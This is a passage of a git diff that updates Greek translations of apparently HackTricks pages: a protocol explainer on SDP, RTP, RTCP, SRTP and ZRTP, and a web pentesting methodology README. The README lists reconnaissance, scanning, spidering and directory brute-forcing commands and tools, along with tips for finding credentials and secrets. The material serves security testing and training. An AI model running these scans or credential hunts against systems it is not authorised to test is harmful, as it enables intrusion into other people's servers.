χαρακτηριστικά των ρευμάτων πολυμέσων, όπως ο τύπος πολυμέσων (ήχος, βίντεο ή κείμενο), το πρωτόκολλο μεταφοράς (π.χ. RTP ή SRTP) και η μορφή πολυμέσων (π.χ. πληροφορίες κωδικοποιητή). 3. **Πληροφορίες Σύνδεσης**: Το SDP παρέχει πληροφορίες σχετικά με τη διεύθυνση δικτύου (διεύθυνση IP) και τον αριθμό θύρας όπου πρέπει να σταλούν ή να ληφθούν τα πολυμέσα. 4. **Χαρακτηριστικά**: Το SDP υποστηρίζει τη χρήση χαρακτηριστικών για την παροχή πρόσθετων, προαιρετικών πληροφοριών σχετικά με μια συνεδρία ή ρεύμα πολυμέσων. Τα χαρακτηριστικά μπορούν να χρησιμοποιηθούν για τον καθορισμό διαφόρων λειτουργιών όπως κλειδιά κρυπτογράφησης, απαιτήσεις εύρους ζώνης ή μηχανισμούς ελέγχου πολυμέσων. Το SDP χρησιμοποιείται συνήθως στη διαδικασία: 1. Ένα αρχικό μέρος δημιουργεί μια περιγραφή SDP της προτεινόμενης πολυμεσικής συνεδρίας, συμπεριλαμβανομένων των λεπτομερειών των ρευμάτων πολυμέσων και των χαρακτηριστικών τους. -2. Η περιγραφή SDP αποστέλλεται στο παραλαμβάνον μέρος, συνήθως ενσωματωμένη σε ένα μήνυμα πρωτοκόλλου σηματοδότησης όπως το SIP ή το RTSP. -3. Το παραλαμβάνον μέρος επεξεργάζεται την περιγραφή SDP και, με βάση τις δυνατότητές του, μπορεί να αποδεχθεί, να απορρίψει ή να τροποποιήσει την προτεινόμενη συνεδρία. +2. Η περιγραφή SDP αποστέλλεται στο παραληπτικό μέρος, συνήθως ενσωματωμένη σε ένα μήνυμα πρωτοκόλλου σηματοδότησης όπως το SIP ή το RTSP. +3. Το παραληπτικό μέρος επεξεργάζεται την περιγραφή SDP και, με βάση τις δυνατότητές του, μπορεί να αποδεχθεί, να απορρίψει ή να τροποποιήσει την προτεινόμενη συνεδρία. 4. Η τελική περιγραφή SDP αποστέλλεται πίσω στο αρχικό μέρος ως μέρος του μηνύματος πρωτοκόλλου σηματοδότησης, ολοκληρώνοντας τη διαδικασία διαπραγμάτευσης. Η απλότητα και η ευελιξία του SDP το καθιστούν ένα ευρέως υιοθετημένο πρότυπο για την περιγραφή πολυμεσικών συνεδριών σε διάφορα συστήματα επικοινωνίας, παίζοντας κρίσιμο ρόλο στην εγκαθίδρυση και διαχείριση πραγματικών πολυμεσικών συνεδριών μέσω δικτύων IP. ### RTP / RTCP / SRTP / ZRTP -1. **RTP (Πρωτόκολλο Μεταφοράς Πραγματικού Χρόνου)**: Το RTP είναι ένα πρωτόκολλο δικτύου σχεδιασμένο για την παράδοση ήχου και βίντεο δεδομένων, ή άλλων μέσων πραγματικού χρόνου, μέσω δικτύων IP. Αναπτύχθηκε από την **IETF** και ορίζεται στο **RFC 3550**, το RTP χρησιμοποιείται συνήθως με πρωτόκολλα σηματοδότησης όπως το SIP και το H.323 για να επιτρέψει πολυμεσική επικοινωνία. Το RTP παρέχει μηχανισμούς για **συγχρονισμό**, **ακολουθία** και **χρονοσήμανση** των ρευμάτων πολυμέσων, βοηθώντας να διασφαλιστεί η ομαλή και έγκαιρη αναπαραγωγή πολυμέσων. -2. **RTCP (Πρωτόκολλο Ελέγχου Μεταφοράς Πραγματικού Χρόνου)**: Το RTCP είναι ένα συνοδευτικό πρωτόκολλο του RTP, που χρησιμοποιείται για την παρακολούθηση της ποιότητας υπηρεσίας (QoS) και την παροχή ανατροφοδότησης σχετικά με τη μετάδοση των ρευμάτων πολυμέσων. Οριζόμενο στο ίδιο **RFC 3550** με το RTP, το RTCP **ανταλλάσσει περιοδικά πακέτα ελέγχου μεταξύ των συμμετεχόντων σε μια συνεδρία RTP**. Μοιράζεται πληροφορίες όπως η απώλεια πακέτων, η τζιτζι και ο χρόνος επιστροφής, που βοηθούν στη διάγνωση και την προσαρμογή στις συνθήκες του δικτύου, βελτιώνοντας τη συνολική ποιότητα των πολυμέσων. -3. **SRTP (Ασφαλές Πρωτόκολλο Μεταφοράς Πραγματικού Χρόνου)**: Το SRTP είναι μια επέκταση του RTP που παρέχει **κρυπτογράφηση**, **αυθεντικοποίηση μηνυμάτων** και **προστασία από επανάληψη** για ρεύματα πολυμέσων, διασφαλίζοντας ασφαλή μετάδοση ευαίσθητων δεδομένων ήχου και βίντεο. Οριζόμενο στο **RFC 3711**, το SRTP χρησιμοποιεί κρυπτογραφικούς αλγόριθμους όπως το AES για κρυπτογράφηση και το HMAC-SHA1 για αυθεντικοποίηση μηνυμάτων. Το SRTP χρησιμοποιείται συχνά σε συνδυασμό με ασφαλή πρωτόκολλα σηματοδότησης όπως το SIP μέσω TLS για να παρέχει ασφάλεια από άκρο σε άκρο στην πολυμεσική επικοινωνία. -4. **ZRTP (Πρωτόκολλο Μεταφοράς Πραγματικού Χρόνου Zimmermann)**: Το ZRTP είναι ένα πρωτόκολλο κρυπτογραφικής συμφωνίας κλειδιών που παρέχει **κρυπτογράφηση από άκρο σε άκρο** για ρεύματα RTP. Αναπτύχθηκε από τον Phil Zimmermann, τον δημιουργό του PGP, το ZRTP περιγράφεται στο **RFC 6189**. Σε αντίθεση με το SRTP, το οποίο βασίζεται σε πρωτόκολλα σηματοδότησης για την ανταλλαγή κλειδιών, το ZRTP έχει σχεδιαστεί για να λειτουργεί ανεξάρτητα από το πρωτόκολλο σηματοδότησης. Χρησιμοποιεί **ανταλλαγή κλειδιών Diffie-Hellman** για να καθορίσει ένα κοινό μυστικό μεταξύ των επικοινωνούντων μερών, χωρίς να απαιτεί προηγούμενη εμπιστοσύνη ή υποδομή δημόσιων κλειδιών (PKI). Το ZRTP περιλαμβάνει επίσης χαρακτηριστικά όπως **Σύντομες Αυθεντικές Συμβολοσειρές (SAS)** για την προστασία από επιθέσεις man-in-the-middle. +1. **RTP (Πρωτόκολλο Μεταφοράς Πραγματικού Χρόνου)**: Το RTP είναι ένα πρωτόκολλο δικτύου σχεδιασμένο για την παράδοση ήχου και βίντεο δεδομένων, ή άλλων μέσων πραγματικού χρόνου, μέσω δικτύων IP. Αναπτύχθηκε από την **IETF** και ορίζεται στο **RFC 3550**, το RTP χρησιμοποιείται συνήθως με πρωτόκολλα σηματοδότησης όπως το SIP και το H.323 για να επιτρέψει την πολυμεσική επικοινωνία. Το RTP παρέχει μηχανισμούς για **συγχρονισμό**, **αλληλουχία** και **χρονοσήμανση** ρευμάτων πολυμέσων, βοηθώντας να διασφαλιστεί η ομαλή και έγκαιρη αναπαραγωγή πολυμέσων. +2. **RTCP (Πρωτόκολλο Ελέγχου Μεταφοράς Πραγματικού Χρόνου)**: Το RTCP είναι ένα συνοδευτικό πρωτόκολλο του RTP, που χρησιμοποιείται για την παρακολούθηση της ποιότητας υπηρεσίας (QoS) και την παροχή ανατροφοδότησης σχετικά με τη μετάδοση ρευμάτων πολυμέσων. Ορίζεται στο ίδιο **RFC 3550** με το RTP, το RTCP **ανταλλάσσει περιοδικά πακέτα ελέγχου μεταξύ των συμμετεχόντων σε μια συνεδρία RTP**. Μοιράζεται πληροφορίες όπως η απώλεια πακέτων, η τριβή και ο χρόνος επιστροφής, που βοηθούν στη διάγνωση και προσαρμογή στις συνθήκες του δικτύου, βελτιώνοντας τη συνολική ποιότητα των πολυμέσων. +3. **SRTP (Ασφαλές Πρωτόκολλο Μεταφοράς Πραγματικού Χρόνου)**: Το SRTP είναι μια επέκταση του RTP που παρέχει **κρυπτογράφηση**, **αυθεντικοποίηση μηνυμάτων** και **προστασία από επανάληψη** για ρεύματα πολυμέσων, διασφαλίζοντας ασφαλή μετάδοση ευαίσθητων δεδομένων ήχου και βίντεο. Ορίζεται στο **RFC 3711**, το SRTP χρησιμοποιεί κρυπτογραφικούς αλγόριθμους όπως το AES για κρυπτογράφηση και το HMAC-SHA1 για αυθεντικοποίηση μηνυμάτων. Το SRTP χρησιμοποιείται συχνά σε συνδυασμό με ασφαλή πρωτόκολλα σηματοδότησης όπως το SIP μέσω TLS για να παρέχει ασφάλεια από άκρο σε άκρο στην πολυμεσική επικοινωνία. +4. **ZRTP (Πρωτόκολλο Μεταφοράς Πραγματικού Χρόνου Zimmermann)**: Το ZRTP είναι ένα πρωτόκολλο συμφωνίας κλειδιών κρυπτογράφησης που παρέχει **κρυπτογράφηση από άκρο σε άκρο** για ρεύματα πολυμέσων RTP. Αναπτύχθηκε από τον Phil Zimmermann, τον δημιουργό του PGP, το ZRTP περιγράφεται στο **RFC 6189**. Σε αντίθεση με το SRTP, το οποίο βασίζεται σε πρωτόκολλα σηματοδότησης για την ανταλλαγή κλειδιών, το ZRTP έχει σχεδιαστεί για να λειτουργεί ανεξάρτητα από το πρωτόκολλο σηματοδότησης. Χρησιμοποιεί **ανταλλαγή κλειδιών Diffie-Hellman** για να καθορίσει ένα κοινό μυστικό μεταξύ των επικοινωνούντων μερών, χωρίς να απαιτεί προηγούμενη εμπιστοσύνη ή υποδομή δημόσιων κλειδιών (PKI). Το ZRTP περιλαμβάνει επίσης χαρακτηριστικά όπως **Σύντομες Αυθεντικοποιητικές Συμβολοσειρές (SAS)** για να προστατεύει από επιθέσεις man-in-the-middle. Αυτά τα πρωτόκολλα παίζουν ουσιαστικούς ρόλους στην **παράδοση και ασφάλιση πραγματικής πολυμεσικής επικοινωνίας μέσω δικτύων IP**. Ενώ το RTP και το RTCP χειρίζονται τη μετάδοση των πραγματικών πολυμέσων και την παρακολούθηση ποιότητας, το SRTP και το ZRTP διασφαλίζουν ότι τα μεταδιδόμενα πολυμέσα προστατεύονται από υποκλοπές, αλλοιώσεις και επιθέσεις επανάληψης. diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index b97bb7a72..14499ce63 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -17,37 +17,38 @@ PORT STATE SERVICE nc -v domain.com 80 # GET / HTTP/1.0 openssl s_client -connect domain.com:443 # GET / HTTP/1.0 ``` -### Web API Guidance +### Οδηγίες Web API + {{#ref}} web-api-pentesting.md {{#endref}} -## Methodology summary +## Περίληψη Μεθοδολογίας > Σε αυτή τη μεθοδολογία θα υποθέσουμε ότι θα επιτεθείτε σε ένα domain (ή υποdomain) και μόνο σε αυτό. Έτσι, θα πρέπει να εφαρμόσετε αυτή τη μεθοδολογία σε κάθε ανακαλυφθέν domain, υποdomain ή IP με ακαθόριστο web server εντός του πεδίου εφαρμογής. - [ ] Ξεκινήστε με την **ταυτοποίηση** των **τεχνολογιών** που χρησιμοποιούνται από τον web server. Αναζητήστε **κόλπα** που να έχετε υπόψη σας κατά τη διάρκεια της υπόλοιπης δοκιμής αν μπορείτε να ταυτοποιήσετε επιτυχώς την τεχνολογία. - [ ] Υπάρχει κάποια **γνωστή ευπάθεια** της έκδοσης της τεχνολογίας; - [ ] Χρησιμοποιείτε κάποια **γνωστή τεχνολογία**; Υπάρχει κάποιο **χρήσιμο κόλπο** για να εξάγετε περισσότερες πληροφορίες; -- [ ] Υπάρχει κάποιος **ειδικευμένος σαρωτής** που να τρέξει (όπως το wpscan); +- [ ] Υπάρχει κάποιος **ειδικευμένος σαρωτής** που πρέπει να τρέξετε (όπως το wpscan); - [ ] Ξεκινήστε με **γενικούς σαρωτές**. Ποτέ δεν ξέρετε αν θα βρουν κάτι ή αν θα βρουν κάποιες ενδιαφέρουσες πληροφορίες. -- [ ] Ξεκινήστε με τους **αρχικούς ελέγχους**: **robots**, **sitemap**, **404** σφάλμα και **SSL/TLS σάρωση** (αν είναι HTTPS). -- [ ] Ξεκινήστε **spidering** τη web σελίδα: Είναι ώρα να **βρείτε** όλα τα πιθανά **αρχεία, φακέλους** και **παραμέτρους που χρησιμοποιούνται.** Επίσης, ελέγξτε για **ειδικά ευρήματα**. +- [ ] Ξεκινήστε με τους **αρχικούς ελέγχους**: **robots**, **sitemap**, **σφάλμα 404** και **σάρωση SSL/TLS** (αν είναι HTTPS). +- [ ] Ξεκινήστε **spidering** τη web σελίδα: Είναι ώρα να **βρείτε** όλα τα πιθανά **αρχεία, φακέλους** και **παραμέτρους που χρησιμοποιούνται.** Επίσης, ελέγξτε για **ειδικές ανακαλύψεις**. - [ ] _Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας νέος φάκελος κατά τη διάρκεια του brute-forcing ή του spidering, θα πρέπει να γίνει spidering._ -- [ ] **Directory Brute-Forcing**: Προσπαθήστε να κάνετε brute force σε όλους τους ανακαλυφθέντες φακέλους αναζητώντας νέα **αρχεία** και **φακέλους**. +- [ ] **Brute-Forcing Διευθύνσεων**: Προσπαθήστε να κάνετε brute force σε όλους τους ανακαλυφθέντες φακέλους αναζητώντας νέα **αρχεία** και **διευθύνσεις**. - [ ] _Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας νέος φάκελος κατά τη διάρκεια του brute-forcing ή του spidering, θα πρέπει να γίνει Brute-Forced._ -- [ ] **Έλεγχος αντιγράφων ασφαλείας**: Δοκιμάστε αν μπορείτε να βρείτε **αντίγραφα ασφαλείας** των **ανακαλυφθέντων αρχείων** προσθέτοντας κοινές επεκτάσεις αντιγράφων ασφαλείας. +- [ ] **Έλεγχος Αντιγράφων**: Δοκιμάστε αν μπορείτε να βρείτε **αντίγραφα** των **ανακαλυφθέντων αρχείων** προσθέτοντας κοινές επεκτάσεις αντιγράφων. - [ ] **Brute-Force παράμετροι**: Προσπαθήστε να **βρείτε κρυφές παραμέτρους**. -- [ ] Μόλις έχετε **ταυτοποιήσει** όλα τα πιθανά **endpoints** που δέχονται **είσοδο χρήστη**, ελέγξτε για κάθε είδους **ευπάθειες** που σχετίζονται με αυτό. +- [ ] Μόλις έχετε **ταυτοποιήσει** όλες τις πιθανές **τελικές διευθύνσεις** που δέχονται **είσοδο χρήστη**, ελέγξτε για κάθε είδους **ευπάθειες** που σχετίζονται με αυτό. - [ ] [Ακολουθήστε αυτή τη λίστα ελέγχου](../../pentesting-web/web-vulnerabilities-methodology.md) -## Server Version (Vulnerable?) +## Έκδοση Server (Ευάλωτη;) -### Identify +### Ταυτοποίηση Ελέγξτε αν υπάρχουν **γνωστές ευπάθειες** για την **έκδοση** του server που τρέχει.\ -Οι **HTTP headers και τα cookies της απάντησης** θα μπορούσαν να είναι πολύ χρήσιμα για να **ταυτοποιήσετε** τις **τεχνολογίες** και/ή την **έκδοση** που χρησιμοποιείται. Η **σάρωση Nmap** μπορεί να ταυτοποιήσει την έκδοση του server, αλλά θα μπορούσαν επίσης να είναι χρήσιμα τα εργαλεία [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ή [**https://builtwith.com/**](https://builtwith.com)**:** +Οι **HTTP κεφαλίδες και τα cookies της απάντησης** θα μπορούσαν να είναι πολύ χρήσιμα για να **ταυτοποιήσετε** τις **τεχνολογίες** και/ή την **έκδοση** που χρησιμοποιείται. Η **σάρωση Nmap** μπορεί να ταυτοποιήσει την έκδοση του server, αλλά θα μπορούσαν επίσης να είναι χρήσιμα τα εργαλεία [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ή [**https://builtwith.com/**](https://builtwith.com)**:** ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive @@ -104,14 +105,15 @@ _Λάβετε υπόψη ότι το **ίδιο domain** μπορεί να χρ ### Source Code Review -Αν ο **source code** της εφαρμογής είναι διαθέσιμος στο **github**, εκτός από την εκτέλεση από **δική σας μια White box test** της εφαρμογής, υπάρχει **μερικές πληροφορίες** που θα μπορούσαν να είναι **χρήσιμες** για την τρέχουσα **Black-Box testing**: +Αν ο **source code** της εφαρμογής είναι διαθέσιμος στο **github**, εκτός από την εκτέλεση ενός **White box test** της εφαρμογής, υπάρχει **ορισμένες πληροφορίες** που θα μπορούσαν να είναι **χρήσιμες** για την τρέχουσα **Black-Box testing**: - Υπάρχει κάποιο **Change-log ή Readme ή Version** αρχείο ή οτιδήποτε με **version info accessible** μέσω web; -- Πώς και πού αποθηκεύονται τα **credentials**; Υπάρχει κάποιο (προσβάσιμο;) **αρχείο** με credentials (usernames ή passwords); -- Είναι οι **κωδικοί πρόσβασης** σε **plain text**, **encrypted** ή ποιος **hashing algorithm** χρησιμοποιείται; -- Χρησιμοποιεί κάποιο **master key** για την κρυπτογράφηση κάποιου; Ποιος **αλγόριθμος** χρησιμοποιείται; +- Πώς και πού αποθηκεύονται τα **credentials**; Υπάρχει κάποιο (προσιτό;) **αρχείο** με credentials (usernames ή passwords); +- Είναι οι **κωδικοί πρόσβασης** σε **plain text**, **encrypted** ή ποια **hashing algorithm** χρησιμοποιείται; +- Χρησιμοποιεί κάποιο **master key** για την κρυπτογράφηση κάποιου πράγματος; Ποια **algorithm** χρησιμοποιείται; - Μπορείτε να **access any of these files** εκμεταλλευόμενοι κάποια ευπάθεια; -- Υπάρχει κάποια **ενδιαφέρουσα πληροφορία στο github** (λυμένα και μη λυμένα) **issues**; Ή στην **commit history** (ίσως κάποιο **password introduced inside an old commit**) ; +- Υπάρχει κάποια **interesting information in the github** (λυμένα και μη λυμένα) **issues**; Ή στην **commit history** (ίσως κάποιο **password introduced inside an old commit**); + {{#ref}} code-review-tools.md @@ -146,7 +148,7 @@ wpscan --force update -e --url joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` -> Σε αυτό το σημείο θα πρέπει ήδη να έχετε κάποιες πληροφορίες σχετικά με τον web server που χρησιμοποιεί ο πελάτης (αν έχουν δοθεί δεδομένα) και μερικά κόλπα που πρέπει να έχετε κατά νου κατά τη διάρκεια της δοκιμής. Αν είστε τυχεροί, μπορεί να έχετε βρει ακόμη και ένα CMS και να έχετε τρέξει κάποιο scanner. +> Σε αυτό το σημείο θα πρέπει ήδη να έχετε κάποιες πληροφορίες σχετικά με τον web server που χρησιμοποιεί ο πελάτης (αν έχουν δοθεί δεδομένα) και μερικά κόλπα που πρέπει να έχετε κατά νου κατά τη διάρκεια της δοκιμής. Αν είστε τυχεροί, έχετε βρει ακόμη και ένα CMS και έχετε τρέξει κάποιο scanner. ## Βήμα-βήμα Ανακάλυψη Εφαρμογής Ιστού @@ -184,7 +186,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs - Αν η εφαρμογή **δεν αναγκάζει τον χρήστη σε HTTPS** σε κανένα σημείο, τότε είναι **ευάλωτη σε MitM** - Αν η εφαρμογή **αποστέλλει ευαίσθητα δεδομένα (κωδικούς πρόσβασης) χρησιμοποιώντας HTTP**. Τότε είναι μια υψηλή ευπάθεια. -Χρησιμοποιήστε [**testssl.sh**](https://github.com/drwetter/testssl.sh) για να ελέγξετε για **ευπάθειες** (Στα προγράμματα Bug Bounty πιθανώς αυτού του είδους οι ευπάθειες δεν θα γίνουν αποδεκτές) και χρησιμοποιήστε [**a2sv**](https://github.com/hahwul/a2sv) για να επανελέγξετε τις ευπάθειες: +Χρησιμοποιήστε [**testssl.sh**](https://github.com/drwetter/testssl.sh) για να ελέγξετε για **ευπάθειες** (Στα προγράμματα Bug Bounty πιθανώς αυτές οι ευπάθειες δεν θα γίνουν αποδεκτές) και χρησιμοποιήστε [**a2sv** ](https://github.com/hahwul/a2sv) για να επανελέγξετε τις ευπάθειες: ```bash ./testssl.sh [--htmlfile] 10.10.10.10:443 #Use the --htmlfile to save the output inside an htmlfile also @@ -200,7 +202,7 @@ sslyze --regular ### Spidering -Εκκινήστε κάποιο είδος **spider** μέσα στο διαδίκτυο. Ο στόχος του spider είναι να **βρει όσο το δυνατόν περισσότερους δρόμους** από την εφαρμογή που δοκιμάζεται. Επομένως, θα πρέπει να χρησιμοποιηθούν web crawling και εξωτερικές πηγές για να βρείτε όσο το δυνατόν περισσότερους έγκυρους δρόμους. +Εκκινήστε κάποιο είδος **spider** μέσα στο διαδίκτυο. Ο στόχος του spider είναι να **βρει όσο το δυνατόν περισσότερους δρόμους** από την εφαρμογή που δοκιμάζεται. Επομένως, θα πρέπει να χρησιμοποιηθούν web crawling και εξωτερικές πηγές για να βρουν όσο το δυνατόν περισσότερους έγκυρους δρόμους. - [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder σε αρχεία JS και εξωτερικές πηγές (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). - [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, με LinkFinder για αρχεία JS και Archive.org ως εξωτερική πηγή. @@ -212,7 +214,7 @@ sslyze --regular - [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Αυτό το script θα βρει URLs με παραμέτρους και θα τα καταγράψει. - [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider με δυνατότητες JS rendering. - [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, με δυνατότητες JS beautify ικανές να αναζητούν νέους δρόμους σε αρχεία JS. Θα ήταν επίσης χρήσιμο να ρίξετε μια ματιά στο [JSScanner](https://github.com/dark-warlord14/JSScanner), το οποίο είναι ένα wrapper του LinkFinder. -- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Για την εξαγωγή endpoints τόσο σε HTML πηγή όσο και σε ενσωματωμένα αρχεία javascript. Χρήσιμο για bug hunters, red teamers, infosec ninjas. +- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Για την εξαγωγή endpoints τόσο από HTML πηγή όσο και από ενσωματωμένα αρχεία javascript. Χρήσιμο για bug hunters, red teamers, infosec ninjas. - [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Ένα script python 2.7 που χρησιμοποιεί Tornado και JSBeautifier για να αναλύσει σχετικές URLs από αρχεία JavaScript. Χρήσιμο για την εύκολη ανακάλυψη AJAX requests. Φαίνεται ότι δεν συντηρείται. - [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Δίνοντας ένα αρχείο (HTML) θα εξάγει URLs από αυτό χρησιμοποιώντας έξυπνες κανονικές εκφράσεις για να βρει και να εξάγει τις σχετικές URLs από άσχημα (minify) αρχεία. - [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, διάφορα εργαλεία): Συγκεντρώνει ενδιαφέρουσες πληροφορίες από αρχεία JS χρησιμοποιώντας διάφορα εργαλεία. @@ -223,9 +225,9 @@ sslyze --regular - [**Sourcemapper**](https://github.com/denandz/sourcemapper): Ένα εργαλείο που δίνοντας το URL .js.map θα σας δώσει τον beautified JS κώδικα. - [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Αυτό είναι ένα εργαλείο που χρησιμοποιείται για την ανακάλυψη endpoints για έναν δεδομένο στόχο. - [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ανακαλύψτε συνδέσμους από τη μηχανή wayback (κατεβάζοντας επίσης τις απαντήσεις στη μηχανή wayback και αναζητώντας περισσότερους συνδέσμους). -- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (ακόμη και συμπληρώνοντας φόρμες) και επίσης βρείτε ευαίσθητες πληροφορίες χρησιμοποιώντας συγκεκριμένες regex. -- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Το Spider Suite είναι ένας προηγμένος GUI web security Crawler/Spider σχεδιασμένος για επαγγελματίες κυβερνοασφάλειας. -- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Είναι ένα πακέτο Go και [εργαλείο γραμμής εντολών](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) για την εξαγωγή URLs, paths, μυστικών και άλλων ενδιαφερόντων δεδομένων από τον πηγαίο κώδικα JavaScript. +- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (ακόμα και συμπληρώνοντας φόρμες) και επίσης βρείτε ευαίσθητες πληροφορίες χρησιμοποιώντας συγκεκριμένες regexes. +- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Το Spider Suite είναι ένα προηγμένο multi-feature GUI web security Crawler/Spider σχεδιασμένο για επαγγελματίες κυβερνοασφάλειας. +- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Είναι ένα πακέτο Go και [εργαλείο γραμμής εντολών](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) για την εξαγωγή URLs, paths, μυστικών και άλλων ενδιαφέροντων δεδομένων από τον πηγαίο κώδικα JavaScript. - [**ParaForge**](https://github.com/Anof-cyber/ParaForge): Το ParaForge είναι μια απλή **επέκταση Burp Suite** για **να εξάγει τις παραμέτρους και τα endpoints** από το αίτημα για να δημιουργήσει προσαρμοσμένες λίστες λέξεων για fuzzing και αρίθμηση. - [**katana**](https://github.com/projectdiscovery/katana) (go): Καταπληκτικό εργαλείο για αυτό. - [**Crawley**](https://github.com/s0rg/crawley) (go): Εκτυπώνει κάθε σύνδεσμο που μπορεί να βρει. @@ -242,7 +244,7 @@ sslyze --regular - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` - [**ffuf** ](https://github.com/ffuf/ffuf)- Γρήγορο: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` - [**uro**](https://github.com/s0md3v/uro) (python): Αυτό δεν είναι spider αλλά ένα εργαλείο που δίνοντας τη λίστα των βρεθέντων URLs θα διαγράψει τα "διπλά" URLs. -- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Επέκταση Burp για να δημιουργήσει μια λίστα φακέλων από την ιστορία burp διαφορετικών σελίδων. +- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Επέκταση Burp για να δημιουργήσει μια λίστα φακέλων από την ιστορία burp διαφόρων σελίδων. - [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Αφαιρεί URLs με διπλές λειτουργίες (βάσει js imports). - [**Chamaleon**](https://github.com/iustin24/chameleon): Χρησιμοποιεί το wapalyzer για να ανιχνεύσει τις χρησιμοποιούμενες τεχνολογίες και να επιλέξει τις λίστες λέξεων που θα χρησιμοποιηθούν. @@ -265,14 +267,14 @@ sslyze --regular - _/usr/share/wordlists/dirb/big.txt_ - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ -_Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας νέος φάκελος κατά τη διάρκεια του brute-forcing ή του spidering, θα πρέπει να υποβληθεί σε Brute-Force._ +_Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας νέος φάκελος κατά τη διάρκεια του brute-forcing ή του spidering, θα πρέπει να γίνει Brute-Forced._ ### Τι να ελέγξετε σε κάθε αρχείο που βρέθηκε - [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Βρείτε σπασμένους συνδέσμους μέσα σε HTML που μπορεί να είναι επιρρεπείς σε καταλήψεις. - **Αντίγραφα αρχείων**: Μόλις βρείτε όλα τα αρχεία, αναζητήστε αντίγραφα όλων των εκτελέσιμων αρχείων ("_.php_", "_.aspx_"...). Κοινές παραλλαγές για την ονομασία ενός αντιγράφου είναι: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp και file.old._ Μπορείτε επίσης να χρησιμοποιήσετε το εργαλείο [**bfac**](https://github.com/mazen160/bfac) **ή** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** -- **Ανακαλύψτε νέες παραμέτρους**: Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **και** [**Param Miner**](https://github.com/PortSwigger/param-miner) **για να ανακαλύψετε κρυφές παραμέτρους. Αν μπορείτε, θα μπορούσατε να προσπαθήσετε να αναζητήσετε** κρυφές παραμέτρους σε κάθε εκτελέσιμο αρχείο web. -- _Arjun όλες οι προεπιλεγμένες λίστες λέξεων:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) +- **Ανακαλύψτε νέες παραμέτρους**: Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **και** [**Param Miner**](https://github.com/PortSwigger/param-miner) **για να ανακαλύψετε κρυφές παραμέτρους. Αν μπορείτε, θα μπορούσατε να προσπαθήσετε να αναζητήσετε** κρυφές παραμέτρους σε κάθε εκτελέσιμο web αρχείο. +- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) @@ -280,7 +282,7 @@ _Σημειώστε ότι κάθε φορά που ανακαλύπτεται - Αν παίζετε **CTF**, ένα "κοινό" κόλπο είναι να **κρύβετε** **πληροφορίες** μέσα σε σχόλια στα **δεξιά** της **σελίδας** (χρησιμοποιώντας **εκατοντάδες** **κενά** ώστε να μην βλέπετε τα δεδομένα αν ανοίξετε τον πηγαίο κώδικα με τον browser). Μια άλλη δυνατότητα είναι να χρησιμοποιήσετε **πολλές νέες γραμμές** και να **κρύψετε πληροφορίες** σε ένα σχόλιο στο **κάτω μέρος** της ιστοσελίδας. - **API keys**: Αν 